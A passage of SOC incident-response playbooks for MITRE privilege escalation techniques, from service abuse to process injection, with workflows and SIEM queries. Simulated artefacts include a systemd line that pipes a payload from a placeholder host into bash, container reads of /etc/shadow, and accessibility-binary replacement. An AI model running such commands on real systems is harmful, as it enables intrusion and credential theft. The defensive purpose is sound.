- Script-based privilege escalation confirmed
- Sub-technique identified
- Scripts restored and locked down
- Credentials reviewed

- Incident escalated appropriately

Post-incident improvements

- Treat logon and boot scripts as privilege escalation vectors
- Enforce strict change control and code review
- Monitor script execution context and outcomes
- Apply integrity monitoring to NETLOGON, GPO, init paths
- Correlate script change → logon → privilege elevation

Playbook 76 (MITRE Privilege Escalation): Create or Modify System Process

Technique: Create or Modify System Process

Sub-techniques:

- Launch Agent
- Systemd Service
- Windows Service
- Launch Daemon
- Container Service

Purpose

Detect, investigate and respond to adversaries escalating privileges by creating or modifying system-managed processes, enabling attackers to:

- Execute malicious code as SYSTEM, root or privileged service accounts
- Abuse trusted service managers and init systems
- Achieve privilege escalation without exploiting binaries
- Blend malicious logic into legitimate system services
- Gain persistence and escalation in a single action

Create or Modify System Process is privilege escalation via service trust attackers let the OS run their code with elevated authority.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised creation or modification of privileged system processes, including:

- New services appearing without approved change requests
- Existing services modified to run unexpected binaries
- Privilege escalation occurring immediately after service start
- Service execution tied to suspicious scripts or LOLBins
- Elevated execution without exploit telemetry

Example use case scenario (end-to-end)

Context: SOC detects a non-admin user gaining SYSTEM privileges shortly after reboot. No exploit is detected. Service audit reveals a modified Windows service now executing a malicious binary from C:\ProgramData.

Attacker objective: Escalate privileges reliably and silently by abusing service execution context.

Defender objective: Remove malicious service changes and restore trusted service configurations.

What it looks like (simulated SOC artefacts)

A) Windows Service Creation

ServiceName=UpdateSvc
BinaryPath=C:\ProgramData\update.exe
RunAs=LocalSystem
Creator=UserContext

B) Systemd Service Abuse

Service=net-update.service
ExecStart=/bin/bash -c "curl http://x.x.x.x/payload | bash"
User=root

C) Launch Agent (macOS)

File=~/.Library/LaunchAgents/com.update.plist
ProgramArguments=/usr/bin/sudo updater

D) Launch Daemon (macOS)

File=/Library/LaunchDaemons/com.sysupdate.plist
RunAtLoad=True
User=root

E) Container Service Modification

Platform=Docker
Service=db-backup
Image=attacker/image:latest
Privilege=--privileged

F) Privilege Escalation Result

User=attacker
NewPrivilege=SYSTEM

G) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

High

- Privilege escalation limited to a single host

Critical

- SYSTEM/root escalation on servers, clusters or shared infrastructure
- Abuse of centrally managed services

Example severity: Critical

(Privilege escalation via trusted service execution)

Step-by-step SOC workflow

Step 1 Validate service-based privilege escalation

Confirm:

1. Was a new system process created or modified?
2. Does it run with higher privileges than the attacker initially had?
3. Is the process managed by the OS service manager?
4. Is there no exploit-based escalation evidence?

Decision point

- Legitimate service change → validate change approval
- Malicious service manipulation → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Windows services	SYSTEM execution	Reliability
Systemd services	Root execution	Cross-distro
Launch agents	User-to-root pivot	Stealth
Launch daemons	Boot-time root exec	Durability
Container services	Privileged workloads	Infrastructure control

Step 3 Map behaviour to attacker intent

3A) Exploitless Privilege Escalation

Indicators

- No exploit telemetry

Attacker intent

- Avoid exploit detection

3B) Trust Abuse

Indicators

- Abuse of OS-managed services

Attacker intent

- Blend into system operations

3C) Persistence + Escalation

Indicators

- Service runs at boot

Attacker intent

- Durable elevated foothold

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS, keychain, shadow file access
2. Lateral Movement
 - RDP, SSH, SMB using new privileges
3. Defense Evasion
 - Service masquerading, binary replacement
4. Impact
 - Ransomware staging, system sabotage

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Disable or stop malicious services
2. Isolate affected hosts
3. Prevent service restart

If service-based escalation confirmed

1. Preserve service definitions and binaries for forensics
2. Identify how service creation/modification was permitted
3. Notify SOC leadership, OS platform owners and management
4. Assume root/SYSTEM compromise

Eradication and recovery

- Remove malicious services and restore originals
- Rebuild affected systems if service integrity is uncertain
- Rotate credentials exposed post-escalation
- Restrict service creation/modification permissions
- Enforce service integrity monitoring

Detection engineering (SIEM ideas)

A) Service creation or modification

index=windows OR index=linux
| where event_type IN ("service_create","service_modify")

B) Privileged service executing unexpected binary

index=edr
| where process_parent IN ("services.exe","systemd","launchd")
| where binary_path NOT IN approved_paths

C) Privileged container service creation

index=cloud
| where action="create_service"
| where privileged=true

Analyst checklist

- Service-based privilege escalation confirmed
- Sub-technique identified

- Malicious services removed
- Credentials reviewed and rotated
- Incident escalated appropriately

Post-incident improvements

- Treat service managers as privilege escalation surfaces
- Enforce strict approval for service creation/modification
- Monitor service binary paths and execution context
- Baseline legitimate services across OS and platforms
- Correlate service change → privilege change → execution

Playbook 77 (MITRE Privilege Escalation): Domain or Tenant Policy Modification

Technique: Domain or Tenant Policy Modification

Sub-techniques:

- Group Policy Modification
- Trust Modification

Purpose

Detect, investigate and respond to adversaries escalating privileges by modifying domain or cloud-tenant-wide policies, enabling attackers to:

- Elevate privileges at scale, not just per host
- Weaken or bypass security controls centrally
- Grant themselves or others persistent administrative rights
- Abuse identity and trust relationships instead of exploits
- Convert limited access into enterprise-wide control

Domain or Tenant Policy Modification is privilege escalation at the control plane attackers stop escalating one system and start rewriting the rules.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious policy or trust changes, including:

- GPOs modified without approved change records
- Security settings weakened across multiple systems simultaneously
- New or altered trust relationships between domains or tenants
- Privilege escalation affecting many users or devices at once
- Administrative capability gained without host-level exploits

Example use case scenario (end-to-end)

Context: SOC observes multiple workstations disabling credential protections and antivirus simultaneously. No malware update or IT change is scheduled. AD audit logs reveal a Group Policy Object was modified to disable security features and add a user to local Administrators across the domain.

Attacker objective: Achieve mass privilege escalation through central policy control.

Defender objective: Revoke unauthorised policy changes and restore domain/tenant trust.

What it looks like (simulated SOC artefacts)

A) Group Policy Modification

GPO=Workstation-Security
Change=Local Administrators Group
AddedUser=corp\attacker
Scope=All Workstations

B) Security Control Weakening

Policy=Credential Guard
State=Disabled
GPO=Workstation-Security

C) Trust Modification (On-Prem)

Trust=corp.local ↔ ext.local
Direction=Two-Way
Auth=Selective Disabled

D) Trust Modification (Cloud)

Tenant=AAD
Federation=ExternalIDP
Trust=Added
Privilege=GlobalAdminDelegation

E) Rapid Privilege Propagation

HostsAffected=124
TimeWindow=15 minutes

F) Follow-on Activity

NextAction=LateralMovement

Severity decision (SOC)

High

- Policy changes affecting limited scope or non-critical systems

Critical

- Domain-wide or tenant-wide policy or trust modification
- Privilege escalation impacting many users or devices

Example severity: Critical

(Control-plane privilege escalation)

Step-by-step SOC workflow

Step 1 Validate policy-based privilege escalation

Confirm:

1. Were domain or tenant policies modified?
2. Did changes grant new privileges or weaken security?
3. Was there no approved change request?
4. Did escalation occur without host-level exploits?

Decision point

- Approved IT/security change → validate scope and intent
- Malicious policy or trust modification → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Group Policy modification	GPO changes	Mass escalation
Trust modification	Domain/tenant trust	Cross-boundary access
Security policy weakening	Disabled protections	Easier follow-on
Identity control abuse	Central authority	Total dominance

Step 3 Map behaviour to attacker intent

3A) Enterprise-Scale Privilege Escalation

Indicators

- Multiple systems/users elevated at once

Attacker intent

- Fast, broad control

3B) Defense Neutralisation

Indicators

- Security settings disabled centrally

Attacker intent

- Reduce detection and resistance

3C) Long-Term Control

Indicators

- Persistent policy or trust changes

Attacker intent

- Durable, high-impact access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement
 - Domain-wide RDP/SMB/WinRM usage
2. Credential Access
 - LSASS dumping, DCSync
3. Defense Evasion
 - Logging or AV disabled by policy
4. Impact
 - Ransomware, mass data access, sabotage

Decision point

- Follow-on detected → escalate to **Crisis / Executive IR**

Containment actions

Immediate

1. Revert unauthorised GPO and trust changes
2. Disable accounts responsible for modifications
3. Freeze further policy changes

If domain/tenant policy compromise confirmed

1. Preserve AD, Azure AD or IAM audit logs
2. Identify how attacker obtained policy modification rights
3. Notify SOC leadership, IAM, IT Ops and Executive Management
4. Assume **control-plane compromise**

Eradication and recovery

- Restore policies from known-good backups
- Remove unauthorised trust relationships
- Rotate credentials for domain/tenant admins
- Revalidate security baselines across all systems
- Monitor continuously for re-modification

Detection engineering (SIEM ideas)

A) Group Policy changes

```
index=ad  
| where event_type="gpo_modified"
```

B) Trust relationship changes

```
index=ad OR index=cloud  
| where action IN ("add_trust","modify_trust","add_federation")
```

C) Rapid privilege propagation

```
index=windows  
| stats count by group, _time  
| where count > threshold
```

Analyst checklist

- Policy-based privilege escalation confirmed
- Sub-technique identified
- Policies and trusts restored
- Credentials rotated
- Incident escalated appropriately

Post-incident improvements

- Treat policy modification as a Tier-0 privilege escalation event
- Enforce strict change control and approvals
- Monitor GPO and IAM policy changes in real time

- Apply just-in-time admin privileges
- Correlate policy change → privilege change → lateral movement

Playbook 78 (MITRE Privilege Escalation): Escape to Host

Technique: Escape to Host

Purpose

Detect, investigate and respond to adversaries escalating privileges by escaping from a constrained or isolated execution environment to the underlying host, enabling attackers to:

- Break out of containers, sandboxes, VMs or restricted runtimes
- Transition from low-privilege or isolated contexts to host-level control
- Bypass security assumptions of containerisation or virtualisation
- Access host resources, credentials and networks
- Convert application-level access into system-level dominance

Escape to Host is boundary-breaking privilege escalation attackers cross trust boundaries rather than exploit user accounts.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected interaction between isolated workloads and the host system, including:

- Container or VM processes accessing host filesystem or devices
- Privileged host actions originating from container contexts
- Sudden host-level access following application compromise
- Kubernetes, Docker or hypervisor logs showing abnormal behaviour
- Privilege escalation without local user or exploit telemetry

Example use case scenario (end-to-end)

Context: SOC detects a Kubernetes pod executing commands on the underlying node. The pod was compromised via a vulnerable web application. Investigation reveals the container was running with `HostPrivileged` access and mounted the host filesystem.

Attacker objective: Escape isolation and gain **full host-level control**.

Defender objective:

Contain the breakout, secure the host and restore isolation guarantees.

What it looks like (simulated SOC artefacts)

A) Container-to-Host File Access

Process=container_app
Path=/host/etc/shadow
Access=Read

B) Privileged Container Context

Container=web-app
Privilege=--privileged
Capabilities=ALL

C) Host Command Execution

SourceContext=Container
ExecutedOn=Host
Command=chroot /host /bin/bash

D) Device Abuse

Device=/dev/kmsg
Access=Write

E) VM Escape Indicator

Guest=VM01
Action=Hypercall Abuse
HostImpact=Process Spawn

F) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

High

- Escape attempt detected but blocked

Critical

- Successful escape to host
- Host-level privileges obtained from isolated environment

Example severity: Critical

(Isolation boundary compromise)

Step-by-step SOC workflow

Step 1 Validate escape to host

Confirm:

1. Did execution originate inside a container, VM or sandbox?
2. Did the attacker access host-level resources?
3. Was isolation misconfigured or bypassed?
4. Is there no legitimate administrative justification?

Decision point

- Misconfiguration without abuse → remediate hardening gaps
- Successful escape → escalate immediately

Step 2 Identify escape vector and scope

Escape Vector	Evidence	Attacker value
Privileged container	--privileged usage	Full host access
HostPath mounts	/host filesystem	Credential theft
Docker socket abuse	/var/run/docker.sock	Root on host
Kernel interface abuse	/proc, /dev	Deep control
VM escape	Hypervisor flaw	Infrastructure takeover

Step 3 Map behaviour to attacker intent

3A) Boundary Breach

Indicators

- Container → host transition

Attacker intent

- Break isolation guarantees

3B) Rapid Privilege Escalation

Indicators

- Immediate root/SYSTEM access

Attacker intent

- Skip user-level escalation

3C) Infrastructure Control

Indicators

- Node, hypervisor or host compromise

Attacker intent

- Broaden control surface

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - /etc/shadow, kubelet creds, cloud metadata
2. Lateral Movement
 - Node-to-node or host-to-network pivots
3. Persistence
 - Host services, cron, systemd, startup
4. Impact
 - Data exfiltration, ransomware, cluster sabotage

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected hosts and nodes
2. Stop and quarantine compromised containers/VMs
3. Block further container scheduling on impacted nodes

If escape confirmed

1. Preserve container, host and orchestration logs
2. Identify misconfiguration or vulnerability enabling escape
3. Notify SOC leadership, Cloud, Platform and Executive teams
4. Treat incident as infrastructure-level compromise

Eradication and recovery

- Rebuild affected hosts from trusted images
- Remove privileged containers and unsafe mounts
- Rotate host, cluster and cloud credentials
- Patch container runtime or hypervisor vulnerabilities
- Revalidate isolation and security baselines

Detection engineering (SIEM ideas)

A) Container accessing host paths

index=container

| where file_path LIKE "/host/%" OR file_path IN ("/etc/shadow","/proc/kcore")

B) Docker socket access

index=linux

| where file_path="/var/run/docker.sock"

C) Privileged container deployment

index=cloud

| where container_privileged=true

Analyst checklist

- Escape to host confirmed
- Escape vector identified
- Hosts isolated and rebuilt
- Credentials rotated
- Incident escalated appropriately

Post-incident improvements

- Treat isolation boundaries as privilege boundaries
- Enforce least-privilege container and VM configurations
- Block privileged containers by default
- Monitor container-to-host interactions continuously
- Correlate workload compromise → host access → escalation

Playbook 79 (MITRE Privilege Escalation): Event Triggered Execution

Technique: Event Triggered Execution

Sub-techniques:

- Change Default File Association
- Screensaver
- Windows Management Instrumentation Event Subscription
- Unix Shell Configuration Modification
- Trap
- LC_LOAD_DYLIB Addition
- Netsh Helper DLL
- Accessibility Features
- AppCert DLLs
- Applnit DLLs
- Application Shimming
- Image File Execution Options Injection
- PowerShell Profile
- Emond
- Component Object Model Hijacking
- Installer Packages
- Udev Rules
- Python Startup Hooks

Purpose

Detect, investigate and respond to adversaries escalating privileges by abusing system events that automatically trigger execution, enabling attackers to:

- Execute malicious code when predictable system or user events occur
- Gain elevated execution without exploits
- Hijack trusted OS execution paths
- Blend into normal system behaviour
- Achieve stealthy privilege escalation + persistence

Event Triggered Execution is privilege escalation by automation abuse the attacker doesn't run code directly, they wait for the system to do it for them.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected execution tied to system or user events, including:

- Elevated execution triggered by login, file open, screensaver or system events

- Registry or config changes tied to auto-execution paths
- Privileged execution with no exploit telemetry
- Execution that only occurs after a specific trigger
- Repeated escalation after reboot, logon or user action

Example use case scenario (end-to-end)

Context: SOC detects SYSTEM-level PowerShell execution whenever users log in. No scheduled task or service exists. Investigation reveals a modified PowerShell profile that executes a malicious script at startup.

Attacker objective: Escalate privileges silently by abusing event-based execution.

Defender objective: Remove trigger-based execution paths and restore trusted execution flow.

What it looks like (simulated SOC artefacts)

A) PowerShell Profile Abuse

File=C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
Command=Start-Process cmd.exe -Verb RunAs

B) IFEO Injection

Registry=HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\utilman.exe
Debugger=C:\malicious.exe

C) WMI Event Subscription

EventFilter=LogonTrigger
Consumer=CommandLineEventConsumer
Command=cmd.exe /c evil.exe

D) Applnit DLL Abuse

Registry=HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows
Applnit_DLLs=C:\evil.dll

E) Accessibility Feature Abuse

Binary=sethc.exe
Replacement=C:\cmd.exe

Trigger=Shift x5

F) Udev Rule (Linux)

Rule=ACTION=="add", RUN+="/usr/bin/root.sh"

G) Privilege Escalation Result

Context=SYSTEM / root

Trigger=Event-based

H) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

High

- Event-based escalation limited to one host

Critical

- SYSTEM/root execution triggered by common user/system events
- Domain-wide or fleet-wide triggers

Example severity: Critical

(Exploit-less, stealthy privilege escalation)

Step-by-step SOC workflow

Step 1 Validate event-triggered escalation

Confirm:

1. Does execution occur only after a specific event?
2. Does the trigger exist in trusted OS execution paths?
3. Does execution run with higher privileges than the attacker initially had?
4. Is there no exploit or token abuse evidence?

Decision point

- Legitimate automation → validate approval and scope
- Malicious trigger → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Trigger	Attacker value
IFEO, AppInit, AppCert	Process launch	SYSTEM abuse
WMI subscription	System events	Stealth
Accessibility features	User interaction	Local escalation
PowerShell profiles	Logon	Reliability
Shell config / traps	Command execution	Unix persistence
Udev rules	Hardware events	Root execution
COM hijacking	App launch	Silent execution

Step 3 Map behaviour to attacker intent

3A) Stealth Escalation

Indicators

- Execution only after trigger

Attacker intent

- Avoid real-time detection

3B) Trust Abuse

Indicators

- Use of OS-trusted execution paths

Attacker intent

- Blend into legitimate behaviour

3C) Persistence + Privilege Escalation

Indicators

- Trigger survives reboot

Attacker intent

- Long-term elevated foothold

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS, keychain, shadow files
2. Lateral Movement
 - RDP, SSH, SMB with new privileges
3. Defense Evasion
 - Trigger cleanup or obfuscation
4. Impact
 - Ransomware staging, sabotage

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Disable malicious triggers (registry, config, rules)
2. Isolate affected systems
3. Block execution of malicious binaries

If event-triggered escalation confirmed

1. Preserve registry, config and event subscription artefacts
2. Identify how write access to trigger paths was obtained
3. Notify SOC leadership, OS platform teams and management
4. Assume privilege boundary compromise

Eradication and recovery

- Remove malicious triggers and restore defaults
- Rebuild systems if execution flow integrity is uncertain
- Rotate credentials accessed post-escalation
- Harden auto-execution paths
- Enable integrity monitoring on trigger locations

Detection engineering (SIEM ideas)

A) Registry-based execution triggers

index=windows

| where registry_path IN (

```
"Image File Execution Options",  
"AppInit_DLLs",  
"Accessibility"  
)
```

B) WMI permanent event subscriptions

```
index=windows  
| where event_type="wmi_event_subscription"
```

C) Linux udev and shell config changes

```
index=linux  
| where file_path LIKE "/etc/udev/%" OR file_path LIKE "*/.bashrc"
```

Analyst checklist

- Event-triggered execution confirmed
- Sub-technique identified
- Triggers removed and locked down
- Credentials reviewed
- Incident escalated appropriately

Post-incident improvements

- Treat event-based execution paths as Tier-0 escalation surfaces
- Monitor registry, WMI, shell and init changes continuously
- Enforce least privilege on trigger configuration paths
- Correlate trigger creation → event → elevated execution
- Include event-triggered escalation in threat-hunting playbooks

Playbook 80 (MITRE Privilege Escalation): Exploitation for Privilege Escalation

Technique: Exploitation for Privilege Escalation

Purpose

Detect, investigate and respond to privilege escalation achieved through exploitation of software vulnerabilities, enabling attackers to:

- Elevate from user to administrator/root/SYSTEM
- Break security boundaries enforced by the OS or applications
- Gain full control of hosts after initial access
- Bypass least-privilege and access controls
- Rapidly transition from foothold to domain or infrastructure control

Unlike configuration abuse, exploitation-based escalation relies on bugs, flaws or unpatched weaknesses and often represents a critical security failure.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected privilege elevation caused by exploitation, including:

- Sudden admin/root access without policy changes
- Privilege escalation following crash, fault or exploit alert
- Kernel, driver or service crashes preceding elevated execution
- Exploit tooling detected (e.g., local privilege escalation exploits)
- Elevated processes spawned by previously low-privileged users
- Host compromise progressing unusually fast after initial access

Example use case scenario (end-to-end)

Context: SOC detects a standard user account spawning a SYSTEM shell on a Windows server. No token abuse, sudo misuse or policy change is found. EDR logs show a kernel driver crash followed by execution of a known local privilege escalation exploit.

Attacker objective: Exploit a vulnerability to gain immediate, high-privilege access.

Defender objective: Identify exploited vulnerabilities, contain the host and prevent recurrence through patching and hardening.

What it looks like (simulated SOC artefacts)

A) Kernel or Driver Crash

event=BugCheck
code=0x0000003B
faulting_driver=vuln.sys
user=user01

B) Exploit Execution

process=exploit.exe
user=user01
action=TriggerKernelExploit

C) Privilege Escalation Success

child_process=cmd.exe
run_as=NT AUTHORITY\SYSTEM
parent_process=exploit.exe

D) Linux Local Privilege Escalation

process=dirtypipe
user=www-data
result=uid=0(root)

E) Service Exploit

service=Spooler
action=MemoryCorruption
followed_by=SYSTEM shell

Severity decision (SOC)

Low

- Exploit attempt failed
- No privilege escalation achieved

Medium

- Exploit attempted on non-critical system
- Limited scope, no persistence

High / Critical

- Successful escalation to SYSTEM/root

- Exploit used on server, DC or critical workload
- Follow-on actions observed

Example severity: Critical

(Kernel exploit + SYSTEM access + lateral movement potential)

Step-by-step SOC workflow

Step 1 Validate exploitation occurred

Confirm:

1. Was a vulnerability exploited, not a misconfiguration?
2. Which component failed (kernel, driver, service, application)?
3. Did exploitation result in privilege elevation?
4. Is the vulnerability known (CVE) or zero-day?

Decision point

- False positive or benign crash → document and monitor
- Confirmed exploit → continue investigation immediately

Step 2 Identify exploited component and scope

Exploit target	Evidence	Attacker value
Kernel	BugCheck, panic	Full system control
Drivers	Faulting driver	SYSTEM/root
Services	Service crash	Privileged execution
Applications	SUID/Setuid abuse	Root escalation
Hypervisor/runtime	Isolation failure	Infrastructure control

Step 3 Map behaviour to attacker intent

3A) Rapid Privilege Escalation

Indicators

- Immediate SYSTEM/root access
- No policy or account changes

Attacker intent

- Bypass all access controls quickly

3B) Defense Bypass

Indicators

- Exploit occurs below security tooling
- Kernel or service level

Attacker intent

- Evade detection and prevention

3C) Environment Takeover

Indicators

- Exploit followed by credential access or persistence

Attacker intent

- Prepare for lateral movement and impact

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Services, startup items, accounts
2. Credential Access
 - LSASS, /etc/shadow, secrets
3. Lateral Movement
 - Admin reuse across hosts
4. Impact
 - Ransomware, sabotage, data theft

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected host from network
2. Terminate exploited processes

3. Block exploit binaries or signatures

If exploitation confirmed

1. Assume host integrity is compromised
2. Disable affected services or drivers
3. Preserve memory and disk for forensics
4. Rotate credentials accessible from host

Eradication and recovery

- Patch exploited vulnerabilities immediately
- Remove vulnerable drivers or software
- Rebuild compromised hosts from trusted images
- Validate kernel and service integrity
- Reintroduce host only after full validation

Detection engineering (SIEM ideas)

A) Privilege escalation without policy change

```
index=edr
| where child_user IN ("SYSTEM","root")
| where parent_user NOT IN ("SYSTEM","root")
```

B) Kernel or service crash followed by elevated process

```
index=os
| transaction host maxspan=5m
| where event="Crash"
| where later(child_user="SYSTEM")
```

C) Known LPE exploit indicators

```
index=edr
| where process_name IN ("dirtypipe","exploit.exe","pkexec")
```

Analyst checklist

- Exploitation confirmed
- Vulnerable component identified
- Host isolated and rebuilt
- Patches applied environment-wide
- Monitoring strengthened

Post-incident improvements

- Treat local privilege escalation exploits as Tier-0 threats
- Reduce attack surface (drivers, legacy services)
- Enforce aggressive patching SLAs
- Monitor crash-then-escalation patterns
- Include LPE exploitation in SOC simulations

Playbook 81 (MITRE Privilege Escalation): Hijack Execution Flow

Technique: Hijack Execution Flow

Sub-techniques:

- DLL
- Dylib Hijacking
- Executable Installer File Permissions Weakness
- Dynamic Linker Hijacking
- Path Interception by PATH Environment Variable
- Path Interception by Search Order Hijacking
- Path Interception by Unquoted Path
- Services File Permissions Weakness
- Services Registry Permissions Weakness
- COR_PROFILER
- KernelCallbackTable
- AppDomainManager

Purpose

Detect, investigate and respond to adversaries escalating privileges by hijacking how legitimate programs load or execute code, enabling attackers to:

- Inject malicious code into trusted, privileged processes
- Gain SYSTEM/root execution without exploits
- Abuse OS and application loading mechanisms
- Blend malicious code into legitimate execution chains
- Escalate privileges using execution order and trust weaknesses

Hijack Execution Flow is privilege escalation through execution trust abuse the attacker doesn't run malware directly they trick trusted software into loading it.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected code execution originating from legitimate binaries, including:

- SYSTEM/root processes loading non-standard DLLs or libraries
- Privileged services executing binaries from user-writable paths
- Execution anomalies following application start, not user action
- Registry or environment variable manipulation affecting execution
- Privilege escalation with no exploit, token abuse or credential theft

Example use case scenario (end-to-end)

Context: SOC observes services.exe launching a malicious DLL with SYSTEM privileges. No service binary was replaced. Investigation shows a writable directory in the service's DLL search path.

Attacker objective: Escalate privileges silently by hijacking a trusted execution flow.

Defender objective: Restore execution integrity and eliminate hijacking vectors.

What it looks like (simulated SOC artefacts)

A) DLL Search Order Hijacking

Process=services.exe
LoadedDLL=C:\ProgramData\version.dll
ExpectedPath=C:\Windows\System32\version.dll

B) Unquoted Service Path

Service=Updater Service
ImagePath=C:\Program Files\Updater Service\service.exe
InjectedBinary=C:\Program.exe

C) PATH Environment Variable Abuse

PATH=C:\Users\Public\bin;C:\Windows\System32
ExecutedBinary=net.exe
LoadedBinary=C:\Users\Public\bin\net.exe

D) COR_PROFILER Abuse (.NET)

EnvVar=COR_ENABLE_PROFILING=1
ProfilerDLL=C:\temp\evil.dll
Privilege=SYSTEM

E) AppDomainManager Injection

Registry=HKLM\Software\Microsoft\NETFramework
AppDomainManagerAssembly=Evil, Version=1.0.0.0

F) KernelCallbackTable Abuse

Process=winlogon.exe
CallbackFunction=MaliciousShellcode

G) Privilege Escalation Result

Context=SYSTEM / root

Method=Execution Flow Hijack

H) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

High

- Hijack affects a single local system

Critical

- SYSTEM/root execution achieved
- Abuse of services, logon processes or widely used binaries

Example severity: Critical

(Exploit-less privilege escalation via trusted execution)

Step-by-step SOC workflow

Step 1 Validate execution flow hijack

Confirm:

1. Did a legitimate binary load attacker-controlled code?
2. Was execution unexpected based on binary's normal behaviour?
3. Did execution occur with higher privileges?
4. Is there no exploit or token manipulation evidence?

Decision point

- Legitimate software behaviour → validate vendor behaviour
- Malicious hijack → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Indicator	Attacker value
DLL/Dylib hijacking	Malicious library load	SYSTEM/root
Search order hijack	Wrong library path	Stealth

PATH interception	Binary replacement	Simplicity
Unquoted paths	Installer/service abuse	Reliability
COR_PROFILER/AppDomain	.NET process injection	Silent
KernelCallbackTable	Winlogon abuse	Deep control

Step 3 Map behaviour to attacker intent

3A) Exploit-less Privilege Escalation

Indicators

- No crash, exploit or memory corruption

Attacker intent

- Avoid exploit-based detection

3B) Trust Chain Abuse

Indicators

- Trusted binaries execute attacker code

Attacker intent

- Leverage OS trust model

3C) Stealthy Persistence

Indicators

- Hijack survives reboot and restarts

Attacker intent

- Durable, hidden escalation

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS access, token theft
2. Lateral Movement

- RDP/SMB/SSH using elevated context
- 3. Defense Evasion
 - Masquerading, cleanup of artifacts
- 4. Impact
 - Ransomware staging, system sabotage

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Terminate affected processes
2. Remove malicious libraries/binaries
3. Isolate impacted systems

If execution flow hijack confirmed

1. Preserve binaries, libraries, registry and env vars
2. Identify writable paths abused by attacker
3. Notify SOC leadership and OS platform owners
4. Assume full privilege compromise

Eradication and recovery

- Restore legitimate binaries and libraries
- Fix permissions on executable and service paths
- Quote all service paths
- Remove unsafe environment variables
- Rebuild systems if execution integrity is uncertain

Detection engineering (SIEM ideas)

A) Privileged process loading non-system libraries

```
index=edr
| where process_privilege IN ("SYSTEM","root")
| where loaded_path NOT LIKE "C:\\Windows\\System32%"
```

B) Unquoted service paths

```
index=windows
```

| where service_path LIKE "% %"
| where service_path NOT LIKE "\"%\""

C) COR_PROFILER abuse

index=windows
| where env_var="COR_ENABLE_PROFILING"

Analyst checklist

- Execution flow hijack confirmed
- Sub-technique identified
- Malicious code removed
- Permissions hardened
- Incident escalated appropriately

Post-incident improvements

- Treat execution flow integrity as a Tier-0 control
- Monitor library loads for privileged processes
- Enforce strict file and directory permissions
- Baseline service configurations and paths
- Correlate trusted process → unexpected code load → privilege escalation

Playbook 82 (MITRE Privilege Escalation): Process Injection

Technique: Process Injection

Sub-techniques:

- Dynamic-link Library Injection
- Portable Executable Injection
- Thread Execution Hijacking
- Asynchronous Procedure Call
- Thread Local Storage
- Ptrace System Calls
- Proc Memory
- Extra Window Memory Injection
- Process Hollowing
- Process Doppelgänger
- VDSO Hijacking
- ListPlanting

Purpose

Detect, investigate and respond to adversaries escalating privileges by injecting malicious code into higher-privileged processes, enabling attackers to:

- Execute code as SYSTEM/root without launching new binaries
- Hide malicious execution inside trusted processes
- Bypass application allowlists and security controls
- Escalate privileges through process trust abuse
- Combine stealth, persistence and escalation

Process Injection is privilege escalation via execution parasitism attackers piggyback on trusted processes rather than running their own.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected memory manipulation or thread execution in privileged processes, including:

- SYSTEM/root processes executing untrusted code
- Memory writes or thread creation across process boundaries
- Privilege escalation without service creation, exploits or credential abuse
- Suspicious API usage related to memory or thread control
- Security tools detecting hollowed or tampered processes

Example use case scenario (end-to-end)

Context: SOC observes lsass.exe spawning suspicious network connections. No LSASS exploit is detected. EDR telemetry shows a low-privileged process writing memory into LSASS and hijacking a thread.

Attacker objective: Escalate privileges and access credentials silently by injecting code into a privileged process.

Defender objective: Contain injected execution and restore process integrity.

What it looks like (simulated SOC artefacts)

A) DLL Injection

TargetProcess=svchost.exe
InjectedDLL=C:\ProgramData\evil.dll
Privilege=SYSTEM

B) Process Hollowing

OriginalProcess=notepad.exe
ReplacedImage=C:\temp\payload.exe
ExecutionContext=SYSTEM

C) APC Injection

SourcePID=4321
TargetPID=512
APCQueued=True
ThreadState=Alertable

D) Proc Memory Abuse (Linux)

TargetProcess=sshd
File=/proc/1234/mem
WriteAccess=True

E) Ptrace Injection

Command=ptrace(PTRACE_ATTACH)
Target=cron
User=attacker

F) Process Doppelgänger

TransactedFile=payload.exe
VisibleFile=None
LoadedImage=InMemory

G) Privilege Escalation Result

Context=SYSTEM / root
Method=Process Injection

H) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

High

- Injection attempt detected but blocked

Critical

- Successful injection into SYSTEM/root process
- Injection into authentication, security or core OS processes

Example severity: Critical

(Stealth privilege escalation inside trusted processes)

Step-by-step SOC workflow

Step 1 Validate process injection

Confirm:

1. Was code written into another process's memory?
2. Did execution occur inside a different process?
3. Did the target process run with higher privileges?
4. Is there no legitimate debugging or admin justification?

Decision point

- Legitimate debugging/AV → validate scope and approval
- Malicious injection → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Indicator	Attacker value
DLL / PE injection	LoadLibrary / manual map	Reliability
